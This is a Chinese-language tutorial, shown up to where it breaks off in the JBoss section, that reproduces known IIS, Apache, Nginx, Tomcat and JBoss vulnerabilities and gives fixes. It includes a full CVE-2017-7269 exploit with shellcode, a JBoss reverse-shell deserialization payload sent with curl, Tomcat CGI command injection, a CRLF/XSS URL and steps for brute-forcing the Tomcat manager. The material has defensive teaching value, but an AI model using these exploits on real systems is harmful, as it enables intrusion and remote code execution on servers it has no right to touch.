Web中間件常見安全漏洞總結
編輯 | Aaron
來源 | https://www.lxhsec.com/2019/03/04/middleware
“ 本文系統地介紹了各種中間常見的安全漏洞,包含IIS/Apache/Nginx/Tomcat/JBoss/Weblogic/GlassFish/WebSphere等,文章目錄詳見如下。”
- 第一章:IIS
- IIS 6 解析漏洞
- IIS 7 解析漏洞
- PUT任意文件寫入
- IIS短文件漏洞
- HTTP.SYS遠程代碼執行 (MS15-034)
- RCE-CVE-2017-7269
- 第二章:Apache
- 未知擴展名解析漏洞
- AddHandler導致的解析漏洞
- Apache HTTPD 換行解析漏洞(CVE-2017-15715)
- 第三章:Nginx
- Nginx配置文件錯誤導致的解析漏洞
- Nginx 空字節任意代碼執行漏洞
- Nginx 文件名邏輯漏洞(CVE-2013-4547)
- Nginx 配置錯誤導致的安全問題
- 第四章:Tomcat
- Tomcat 任意文件寫入(CVE-2017-12615)
- Tomcat 遠程代碼執行(CVE-2019-0232)
- Tomcat + 弱口令 && 后台getshell漏洞
- Tomcat manager App 暴力破解
- 第五章:JBoss
- JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
- JBoss JMXInvokerServlet 反序列化漏洞
- JBoss EJBInvokerServlet 反序列化漏洞
- JBoss <=4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
- Administration Console 弱口令
- JMX Console未授權訪問
- 第六章:weblogic
- XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)
- Weblogic wls9_async_response,wls-wsat 反序列化遠程代碼執行漏洞(CVE-2019-2725)
- Weblogic WLS Core Components 反序列化命令執行漏洞(CVE-2018-2628)
- Weblogic 任意文件上傳漏洞(CVE-2018-2894)
- Weblogic SSRF漏洞 (CVE-2014-4210)
- Weblogic 弱口令 && 后台getshell
- 第七章:GlassFish
- GlassFish Directory Traversal(CVE-2017-1000028)
- GlassFish 后台Getshell
- 第八章:WebSphere
- Java反序列化(CVE-2015-7450)
- 弱口令 && 后台Getshell
1、IIS
IIS是Internet Information Services的縮寫,意為互聯網信息服務,是由微軟公司提供的基於運行Microsoft Windows的互聯網基本服務。IIS目前只適用於Windows系統,不適用於其他操作系統。
IIS 6 解析漏洞
基於文件名,該版本 默認會將 *.asp;.jpg 此種格式的文件名,當成Asp解析,原理是 服務器默認不解析; 號及其后面的內容,相當於截斷。

基於文件夾名,該版本 默認會將 *.asp/目錄下的所有文件當成Asp解析。

另外,IIS6.x除了會將擴展名為.asp的文件解析為asp之外,還默認會將擴展名為.asa,.cdx,.cer解析為asp,
從網站屬性->主目錄->配置 可以看出,他們都是調用了asp.dll進行的解析。

修復建議
由於微軟並不認為這是一個漏洞,也沒有推出IIS 6.0的補丁,因此漏洞需要自己修復。
1、限制上傳目錄執行權限,不允許執行腳本。

2、不允許新建目錄。
3.、上傳的文件需經過重命名(時間戳+隨機數+.jpg等)
IIS 7 解析漏洞
1、安裝IIS7.5,控制面板 -> 程序 -> 打開或關閉windows功能。

2、下載php-5.2.6-win32-installer.msi
3、打開msi,一直下一步來到選擇web server setup的界面,在這里選擇IIS fastcgi,之后一直下一步。
4、打開IIS,管理工具 ->Internet 信息服務(IIS)管理器
5、選擇編輯ISAPI或者CGI限制

添加安裝的php-cgi.exe路徑,描述隨意。

6、返回第五步的第一個圖片位置,點擊處理程序映射,添加如下。

7、phpinfo測試

IIS7.x版本 在Fast-CGI運行模式下,在任意文件,例:test.jpg后面加上/.php,會將test.jpg 解析為php文件。

修復建議
配置cgi.fix_pathinfo(php.ini中)為0並重啟php-cgi程序

結果如下:

PUT任意文件寫入
IIS Server 在 Web 服務擴展中開啟了 WebDAV之后,支持多種請求,配合寫入權限,可造成任意文件寫入。


修復建議
關閉WebDAV 和 寫權限
IIS短文件漏洞
Windows 以 8.3 格式生成與 MS-DOS 兼容的(短)文件名,以允許基於 MS-DOS 或 16 位 Windows的程序訪問這些文件。在cmd下輸入”dir /x”即可看到短文件名的效果。

IIS短文件名產生:
1、當后綴小於4時,短文件名產生需要文件(夾)名前綴字符長度大於等於9位。2、當后綴大於等於4時,文件名前綴字符長度即使為1,也會產生短文件名。
目前IIS支持短文件名猜測的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六種。 IIS 8.0之后的版本只能通過OPTIONS和TRACE方法被猜測成功。
復現:
IIS8.0以下版本需要開啟ASP.NET支持,IIS大於等於8.0版本,即使沒有安裝ASP.NET,通過OPTIONS和TRACE方法也可以猜解成功。 以下通過開啟IIS6.0 ASP.NET后進行復現。

當訪問構造的某個存在的短文件名,會返回404;

當訪問構造的某個不存在的短文件名,會返回400;

IIS短文件漏洞局限性 1) 如果文件名本身太短也是無法猜解的; 2) 此漏洞只能確定前6個字符,如果后面的字符太長、包含特殊字符,很難猜解; 3) 如果文件名前6位帶空格,8.3格式的短文件名會補進,和真實文件名不匹配; 4) 如果文件夾名前6位字符帶點”.”,掃描程序會認為是文件而不是文件夾,最終出現誤報; 5) 不支持中文文件名,包括中文文件和中文文件夾。一個中文相當於兩個英文字符,故超過4個中文字會產生短文件名,但是IIS不支持中文猜測。


修復建議
1)從CMD命令關閉NTFS 8.3文件格式的支持
Windows Server 2003:(1代表關閉,0代表開啟) 關閉該功能:fsutil behavior set disable8dot3 1

Windows Server 2008 R2:
查詢是否開啟短文件名功能:fsutil 8dot3name query 關閉該功能:fsutil 8dot3name set 1
不同系統關閉命令稍有區別,該功能默認是開啟的.
2)或從修改注冊表關閉NTFS 8.3文件格式的支持
快捷鍵Win+R打開命令窗口,輸入regedit打開注冊表窗口
找到路徑: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem,將其中的 NtfsDisable8dot3NameCreation這一項的值設為 1,1代表不創建短文件名格式

以上兩種方式修改完成后,均需要重啟系統生效。
Note:此方法只能禁止NTFS8.3格式文件名創建,已經存在的文件的短文件名無法移除,需要重新復制才會消失。 例:將web文件夾的內容拷貝到另一個位置,如c:\www到c:\ww,然后刪除原文件夾,再重命名c:\ww到c:\www。
HTTP.SYS遠程代碼執行 (MS15-034)
影響范圍: Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2
復現:
在Windows7上 安裝IIS7.5。 1、訪問。

2、編輯請求頭,增加Range: bytes=0-18446744073709551615字段,若返回碼狀態為416 Requested Range Not Satisfiable,則存在HTTP.SYS遠程代碼執行漏洞

漏洞有點雞肋,配合其他漏洞使用還是可以用用的,具體使用可轉至MSF中。
修復建議
安裝修復補丁(KB3042553)
RCE-CVE-2017-7269
Microsoft Windows Server 2003 R2中的Internet信息服務(IIS)6.0中的WebDAV服務中的ScStoragePathFromUrl函數中的緩沖區溢出允許遠程攻擊者通過以”If:<http://“開頭的長標頭執行任意代碼PROPFIND請求。
影響范圍: 在Windows 2003 R2(Microsoft(R) Windows(R) Server 2003, Enterprise Edition Service Pack 2)上使用IIS 6.0並開啟WebDAV擴展。
復現: CVE作者給出的exp 計算機彈彈彈!!! 用python2 運行,結果如下。

任務管理器開啟了calc.exe進程,因為計算器是網絡服務權限打開的,所以我們在桌面上看不見。
這個漏洞有幾個需要注意的地方,如下。
由於作者提供的Exp執行之后就卡在那里了,因此不適合用彈計算機的shellcode進行測試,網上找了個dalao的回顯shellcode來測試。
首先將上圖中python2 IDE運行時產生的Raw類型的HTTP數據包copy保存至記事本中,然后在Burp Repeater模塊 Paste from file。
將shellcode更換成如下:
VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJIOPKSKPKPTKLITKKQDKU0G0KPKPM00QQXI8KPM0M0K8KPKPKPM0QNTKKNU397O00WRJKPSSI7KQR72JPXKOXPP3GP0PPP36VXLKM1VZM0LCKNSOKON2KPOSRORN3D35RND4NMPTD9RP2ENZMPT4352XCDNOS8BTBMBLLMKZOSROBN441URNT4NMPL2ERNS7SDBHOJMPNQ03LMLJPXNM1J13OWNMOS2H352CBKOJO0PCQFOUNMOB00NQNWNMP7OBP6OILMKZLMKZ130V15NMP2P0NQP7NMNWOBNV09KPM0A
結果:

CVE作者給出的Exp是在默認端口,默認域名,默認路徑的情況下適用。
第一個需要注意的是端口和域名綁定問題:
當端口改變時,If頭信息中的兩個url端口要與站點端口一致,如下。

當域名改變時,If頭信息中的兩個url域名要與站點域名一致,且HOST頭也要與站點域名一致。如下

不修改Host將返回502,如下

Note:
1、測試的時候凡是需要修改IIS配置的操作,修改完畢后都需要重啟IIS
2、或者在不超過禁用閾值的前提下結束w3wp進程。
第二個需要注意的是物理路徑問題:
CVE作者提供的Exp是在 默認路徑長度等於19(包括結尾的反斜杠)的情況下適用,IIS默認路徑一般為:c:\inetpub\wwwroot
解決方法:
當路徑長度小於19時需要對padding進行添加。 當路徑長度大於19時需要對padding進行刪除。
ROP和stackpivot前面的padding實際上為UTF8編碼的字符,每三個字節解碼后變為兩個字節的UTF16字符,在保證Exp不出錯的情況下,有0x58個字符是沒用的。所以可以將前0x108個字節刪除,換成0x58個a或b。
原exp 修改后如下:
# coding:utf-8 import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('192.168.124.129',8888)) pay='PROPFIND / HTTP/1.1\r\nHost: www.lxhsec.com\r\nContent-Length: 0\r\n' pay+='If: <http://www.lxhsec.com:8888/aaaaaaa' pay+='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' pay+='\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac' pay+='>' pay+=' (Not <locktoken:write1>) <http://www.lxhsec.com:8888/bbbbbbb' pay+='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb' pay+='\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81' shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJIOPKSKPKPTKLITKKQDKU0G0KPKPM00QQXI8KPM0M0K8KPKPKPM0QNTKKNU397O00WRJKPSSI7KQR72JPXKOXPP3GP0PPP36VXLKM1VZM0LCKNSOKON2KPOSRORN3D35RND4NMPTD9RP2ENZMPT4352XCDNOS8BTBMBLLMKZOSROBN441URNT4NMPL2ERNS7SDBHOJMPNQ03LMLJPXNM1J13OWNMOS2H352CBKOJO0PCQFOUNMOB00NQNWNMP7OBP6OILMKZLMKZ130V15NMP2P0NQP7NMNWOBNV09KPM0A' pay+=shellcode pay+='>\r\n\r\n' print pay sock.send(pay) data = sock.recv(80960) print data sock.close
執行:

當路徑長度小於19時,如下,需要增加12個a,b


而實際中路徑常常大於19,需要對padding進行刪除。
當路徑為c:\www\
的時候,a有107個,加起來有114個,除去盤符有111個字符,所以可以把Exp的padding增加至111,並逐次進行減少。當長度不匹配時返回500,成功時返回200,通過爆破方式得到物理路徑長度。 成功:

失敗:

當然如果能得到物理路徑,則用114減去物理路徑長度(包括末尾的反斜杠)就是所需的padding長度。
第三個需要注意的是,超時問題。 當exp執行成功一段時間之后(大概十分鍾到二十分鍾左右,其間無論有無訪問),再對這個站點執行exp永遠不會成功,同時返回400。
解決方法: 1.等待w3wp重啟。 2.測試旁站(因為每個池都是獨立的w3wp進程,換一個可能在其他池的旁站進行嘗試)
第四個需要注意的是,多次執行錯誤shellcode
多次執行錯誤的shellcode會覆蓋很多不該覆蓋的代碼,從而導致正確的shellcode執行時也返回500, 提示信息為:參數不正確,也可能什么都不返回。

解決方法: 1.等待w3wp重啟。 2.測試旁站(因為每個池都是獨立的w3wp進程,換一個可能在其他池的旁站進行嘗試)
修復建議:關閉 WebDAV
2、Apache
Apache是世界使用排名第一的Web服務器軟件。它可以運行在幾乎所有廣泛使用的計算機平台上,由於其跨平台和安全性被廣泛使用,是最流行的Web服務器端軟件之一。它快速、可靠並且可通過簡單的API擴充,將Perl/Python等解釋器編譯到服務器中。
未知擴展名解析漏洞
Apache的解析漏洞依賴於一個特性:Apache默認一個文件可以有多個以點分割的后綴,當最右邊的后綴無法識別(不在mime.types文件內),則繼續向左識別,直到識別到合法后綴才進行解析。
復現: 這里使用phpstudy進行復現。 下載地址: http://phpstudy.php.cn/phpstudy/phpStudy(PHP5.2).zip
訪問phpinfo.php.xxx

實戰中可以上傳rar,owf等文件進行利用,如果上傳phpinfo.php.jpg,即使文件名中有.php,也會直接解析為jpg。因為Apache認識.jpg,停止繼續向左識別。
AddHandler導致的解析漏洞
如果運維人員給.php后綴增加了處理器: AddHandler application/x-httpd-php .php 那么,在有多個后綴的情況下,只要一個文件名中含有.php后綴,即被識別成PHP文件,沒必要是最后一個后綴。 利用這個特性,將會造成一個可以繞過上傳白名單的解析漏洞。
復現:

即使最右邊的文件格式是在mime.types文件內,只要文件名中出現.php,就直接被解析為php。
Apache HTTPD 換行解析漏洞(CVE-2017-15715)
影響范圍:2.4.0~2.4.29版本 環境:phpstudy2014 Apache + PHP5.4n
此漏洞形成的根本原因,在於$, 正則表達式中$不僅匹配字符串結尾位置,也可以匹配\n 或 \r
在解析PHP時,1.php\x0A將被按照PHP后綴進行解析,導致繞過一些服務器的安全策略。
<FilesMatch \.php$> SetHandler application/x-httpd-php </FilesMatch>
測試代碼:
<html> <body> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="text" name="name" /> <input type="submit" value="上傳文件" /> </form> </body> </html> <?php if(isset($_FILES['file'])) { $name = basename($_POST['name']); $ext = pathinfo($name,PATHINFO_EXTENSION); if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) { exit('bad file'); } echo "ok"; move_uploaded_file($_FILES['file']['tmp_name'], './' . $name); } ?>

點擊Go后,效果如下:

相同代碼在Linux下進行測試,可以正常寫入。

訪問:

限制:獲取文件名時不能用$_FILES[‘file’][‘name’],因為它會自動把換行去掉。

修復建議
1、升級到最新版本
2、或將上傳的文件重命名為為時間戳+隨機數+.jpg的格式並禁用上傳文件目錄執行腳本權限。
3、Nginx
Nginx是一款輕量級的Web 服務器/反向代理服務器及電子郵件(IMAP/POP3)代理服務器,在BSD-like 協議下發行。其特點是占有內存少,並發能力強,事實上nginx的並發能力確實在同類型的網頁服務器中表現較好。
Nginx配置文件錯誤導致的解析漏洞
對於任意文件名,在后面添加/xxx.php(xxx為任意字符)后,即可將文件作為php解析。 例:info.jpg后面加上/xxx.php,會將info.jpg 以php解析。
這里使用phpstudy2014 ,Nginx + PHP5.3n進行復現(以下復現若無特別說明均采用此環境) 結果:

該漏洞是Nginx配置所導致,與Nginx版本無關,下面是常見的漏洞配置。
server {
location ~ \.php$ { root /work/www/test; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; fastcgi_pass unix:/tmp/php-fpm.sock; } }
當攻擊者訪問/info.jpg/xxx.php時, Nginx將查看URL,看到它以.php結尾,並將路徑傳遞給PHP fastcgi處理程序。 Nginx傳給php的路徑為c:/WWW/info.jpg/xxx.php
, 在phpinfo中可以查看_SERVER["ORIG_SCRIPT_FILENAME"]
得到。

PHP根據URL映射,在服務器上尋找xxx.php文件,但是xxx.php不存在,又由於cgi.fix_pathinfo默認是開啟的,因此PHP 會繼續檢查路徑中存在的文件,並將多余的部分當作 PATH_INFO。接着PHP在文件系統中找到.jpg文件,而后以PHP的形式執行.jpg的內容,並將/xxx.php存儲在 PATH_INFO 后丟棄,因此我們在phpinfo中的$_SERVER['PATH_INFO']
看的到值為空。
Note:php的一個選項:cgi.fix_pathinfo,該選項默認開啟,值為1,用於修理路徑, 例如:當php遇到文件路徑”/info.jpg/xxx.php/lxh.sec”時,若”/info.jpg/xxx.php/lxh.sec”不存在,則會去掉最后的”/lxh.sec”,然后判斷”/info.jpg/xxx.php”是否存在, 若存在則將/info.jpg/xxx.php當作文件/info.jpg/xxx.php/lxh.sec,若/info.jpg/xxx.php仍不存在,則繼續去掉xxx.php,依此類推。
修復建議
1、配置cgi.fix_pathinfo(php.ini中)為0並重啟php-cgi程序

結果:

2、或如果需要使用到cgi.fix_pathinfo這個特性(例如:Wordpress),那么可以禁止上傳目錄的執行腳本權限。 或將上傳存儲的內容與網站分離,即站庫分離。
3、或高版本PHP提供了security.limit_extensions這個配置參數,設置security.limit_extensions = .php
Nginx 空字節任意代碼執行漏洞
影響版本:Nginx 0.5*
, 0.6*
,0.7 <= 0.7.65
,0.8 <= 0.8.37
這里提供個打包好的Windows環境 Nginx 0.7.65+php 5.3.2
鏈接:https://pan.baidu.com/s/1FUVJv9iFCcX9Qp5D5AMxKw 提取碼:imdm
解壓后,在Nginx目錄下執行startup.bat
然后在nginx-0.7.65/html/
目錄下創建info.jpg,內容為<?php phpinfo();?>
,
訪問info.jpg
,並抓包,修改為info.jpg..php
,在Hex選修卡中將jpg后面的.
,更改為00
.

Note:該漏洞不受cgi.fix_pathinfo
影響,當其為0時,依舊解析。
修復建議
升級Nginx版本
Nginx 文件名邏輯漏洞(CVE-2013-4547)
影響版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
在Windows弄了個環境,后來發現要文件名的后面存在空格,而Windows是不允許存在此類文件的,因此這里復現,使用Vulhub的docker進行復現。
訪問http://your-ip:8080/ 上傳文件

訪問http://your-ip:8080/uploadfiles/info.jpg, 並抓包,修改為info.jpg...php, 在Hex選修卡中將jpg后面的兩個點2e改成20,00 點擊Go,如下。

Note:該漏洞不受cgi.fix_pathinfo影響,當其為0時,依舊解析,在Windows上有所限制。
修復建議
1、設置security.limit_extensions = .php
2、或升級Nginx
Nginx 配置錯誤導致的安全問題
CRLF注入
查看Nginx文檔,可以發現有三個表示uri的變量: 1.$uri 2.$document_uri 3.$request_uri
1和2表示的是解碼以后的請求路徑,不帶參數;3表示的是完整的URI(沒有解碼)
Nginx會將1,2進行解碼,導致傳入%0a%0d即可引入換行符,造成CRLF注入漏洞。
錯誤配置:

訪問: http://127.0.0.1/%0aX-XSS-Protection:%200%0a%0d%0a%0d%3Cimg%20src=1%20onerror=alert(/xss/)%3E
將返回包的Location端口設置為小於80,使得瀏覽器不進行跳轉,執行XSS。

結果:

修復建議
location / { return 302 https://$host$request_uri; }
目錄穿越
Nginx在配置別名(Alias)的時候,如果忘記加/,將造成一個目錄穿越漏洞。
錯誤的配置文件示例(原本的目的是為了讓用戶訪問到C:/WWW/home/目錄下的文件):
location /files { autoindex on; alias c:/WWW/home/; }
結果:

修復建議
只需要保證location和alias的值都有后綴/或都沒有/這個后綴。
目錄遍歷
當Nginx配置文件中,autoindex 的值為on時,將造成一個目錄遍歷漏洞。

結果:

修復建議
將autoindex 的值為置為off。
add_header被覆蓋
Nginx的配置文件分為Server、Location等一些配置塊,並且存在包含關系,子塊會繼承父塊的一些選項,比如add_header。
如下配置中,整站(父塊中)添加了CSP頭:

正常情況下訪問:

當訪問 /test2時,XSS被觸發。因/test2的location中添加了X-Content-Type-Options頭,導致父塊中的add_header全部失效。

4、Tomcat
Tomcat 服務器是一個免費的開放源代碼的Web 應用服務器,屬於輕量級應用 服務器,在中小型系統和並發訪問用戶不是很多的場合下被普遍使用,是開發和調試JSP 程序的首選。對於一個初學者來說,可以這樣認為,當在一台機器上配置好Apache 服務器,可利用它響應 HTML ( 標准通用標記語言下的一個應用)頁面的訪問請求。實際上Tomcat是Apache 服務器的擴展,但運行時它是獨立運行的,所以當運行tomcat 時,它實際上作為一個與Apache 獨立的進程單獨運行的。
Tomcat 任意文件寫入(CVE-2017-12615)
環境:Tomcat/8.0.30
漏洞本質是Tomcat配置文件/conf/web.xml 配置了可寫(readonly=false),導致我們可以往服務器寫文件:

增加完配置之后,記得重啟Tomcat,效果如下:

當readonly=true時,效果如下。

Tomcat 遠程代碼執行(CVE-2019-0232)
影響范圍:9.0.0.M1 ~ 9.0.17, 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93 影響系統:Windows
測試環境: Apache Tomcat v8.5.39 JDK 1.8.0_144
修改配置: web.xml
<init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>executable</param-name> <param-value></param-value> </init-param>

content.xml

在Tomcat\webapps\ROOT\WEB-INF
新建cgi
目錄,並創建lxhsec.bat
文件,內容任意。
訪問http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&dir

執行命令http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&C:/WINDOWS/system32/net+user

Note:net命令的路徑要寫全,直接寫net user,Tomcat控制台會提示net不是內部命令,也不是可運行的程序,另 必須使用+號連接,使用空格,%2B都會執行失敗,控制台報錯。
修復建議
這個默認是關閉的,如果打開了請關閉,若需使用請升級版本。
Tomcat + 弱口令 && 后台getshell漏洞
環境:Apache Tomcat/7.0.94
在conf/tomcat-users.xml文件中配置用戶的權限:
<tomcat-users> <role rolename="manager-gui"/> <role rolename="manager-script"/> <role rolename="manager-jmx"/> <role rolename="manager-status"/> <role rolename="admin-gui"/> <role rolename="admin-script"/> <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" /> </tomcat-users>
正常安裝的情況下,tomcat7.0.94中默認沒有任何用戶,且manager頁面只允許本地IP訪問。只有管理員手工修改了這些屬性的情況下,才可以進行攻擊。
訪問 http://127.0.0.1:8080/manager/html ,輸入弱密碼tomcat:tomcat,登陸后台。

生成war包: jar -cvf lxhspy.war lxhspy.jsp
部署后,訪問 http://127.0.0.1:8080/war包名/包名內文件名, 如下。

修復建議
1、若無必要,取消manager/html功能。
2、若要使用,manager頁面應只允許本地IP訪問
Tomcat manager App 暴力破解
環境:Apache Tomcat/7.0.94
訪問:http://127.0.0.1:8080/manager/html, 輸入密碼,抓包,如下。

剛才輸入的賬號密碼在HTTP字段中的Authorization中,規則為Base64Encode(user:passwd) Authorization: Basic dG9tY2F0OmFkbWlu 解碼之后如下:

將數據包發送到intruder模塊,並標記dG9tY2F0OmFkbWlu。
Payload type選擇 Custom iterator,設置三個position,1為用戶字典,2為:,3為密碼字典,並增加Payload Processing 為Base64-encode如下:

最后取消Palyload Encoding編碼。

結果:

修復建議
1、若無必要,取消manager/html功能。
2、若要使用,manager頁面應只允許本地IP訪問
5、JBoss
jBoss是一個基於J2EE的開發源代碼的應用服務器。JBoss代碼遵循LGPL許可,可以在任何商業應用中免費使用。JBoss是一個管理EJB的容器和服務器,支持EJB1.1、EJB 2.0和EJB3的規范。但JBoss核心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。
默認端口:8080,9990
Windows下Jboss安裝,
1、下載http://jbossas.jboss.org/downloads/
2、解壓,我這里解壓后的目錄為:C:\jboss-6.1.0.Final
3、新建環境變量:JBOSS_HOME 值為:C:\jboss-6.1.0.Final 在path中加入:;%JBOSS_HOME%\bin;
4、打開C:\jboss-6.1.0.Final\bin 雙擊run.bat。出現info消息,即配置成功。

Note:注意JDK版本要在1.6~1.7之間,1.8版本 jBoss運行打開JMX Console會出現500錯誤。

jboss默認部署路徑:
C:\jboss-6.1.0.Final\server\default\deploy\ROOT.war
設置外網訪問,將
C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml
<!-- A HTTP/1.1 Connector on port 8080 --> <Connector protocol="HTTP/1.1" port="${jboss.web.http.port}" address="${jboss.bind.address}" redirectPort="${jboss.web.https.port}" />
將address=”${jboss.bind.address}” 設置為address=”0.0.0.0” ,並重啟JBoss
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
訪問 /invoker/readonly 返回500,說明頁面存在,此頁面存在反序列化漏洞。

利用工具:JavaDeserH2HC,我們選擇一個Gadget:ReverseShellCommonsCollectionsHashMap,編譯並生成序列化數據:
生成ReverseShellCommonsCollectionsHashMap.class
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
生成ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.31.232:6666(ip是nc所在的ip)
利用:
curl http://192.168.31.205:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

JBoss JMXInvokerServlet 反序列化漏洞
訪問 /invoker/JMXInvokerServlet 返回如下,說明接口開放,此接口存在反序列化漏洞。

這里直接利用CVE-2017-12149生成的ser,發送到/invoker/JMXInvokerServlet接口中。 如下:

JBoss EJBInvokerServlet 反序列化漏洞
訪問 /invoker/EJBInvokerServlet 返回如下,說明接口開放,此接口存在反序列化漏洞。

這里直接利用CVE-2017-12149生成的ser,發送到/invoker/EJBInvokerServlet接口中。 如下:

修復建議
1、不需要 http-invoker.sar 組件的用戶可直接刪除此組件。路徑為:C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,刪除后訪問404.

2、或添加如下代碼至 http-invoker.sar 下 web.xml 的 security-constraint 標簽中,對 http invoker 組件進行訪問控制: <url-pattern>/*</url-pattern> 路徑為:C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml

JBoss<=4.x JBossMQ JMS反序列化漏洞(CVE-2017-7504)
環境:jboss-4.2.3
設置外網訪問:在
C:\jboss-4.2.3\server\default\deploy\jboss-web.deployer\server.xml 將address=”${jboss.bind.address} 改為:address=”0.0.0.0”, 重啟Jboss
<Connector port="8080" address="${jboss.bind.address}" maxThreads="250" maxHttpHeaderSize="8192" emptySessionPath="true" protocol="HTTP/1.1" enableLookups="false" redirectPort="8443" acceptCount="100" connectionTimeout="20000" disableUploadTimeout="true" />
訪問/jbossmq-httpil/HTTPServerILServlet, 返回This is the JBossMQ HTTP-IL,說明頁面存在,此頁面存在反序列化漏洞。

這里直接利用CVE-2017-12149生成的ser,發送到/jbossmq-httpil/HTTPServerILServlet接口中。 如下:

修復建議:升級至最新版。
Administration Console 弱口令
Administration Console管理頁面存在弱口令,admin:admin,登陸后台上傳war包。
1、點擊Web Application (WAR)s

2、Add a new resource,上傳war包

3、點擊創建的war包進入下一層,若狀態為stop,點擊Start按鈕(默認都是start狀態,不需要點擊Start按鈕)

4、訪問http://xx.xx.xx.xx/[warname]/shellname.jsp

修復建議
1、修改密碼 C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties

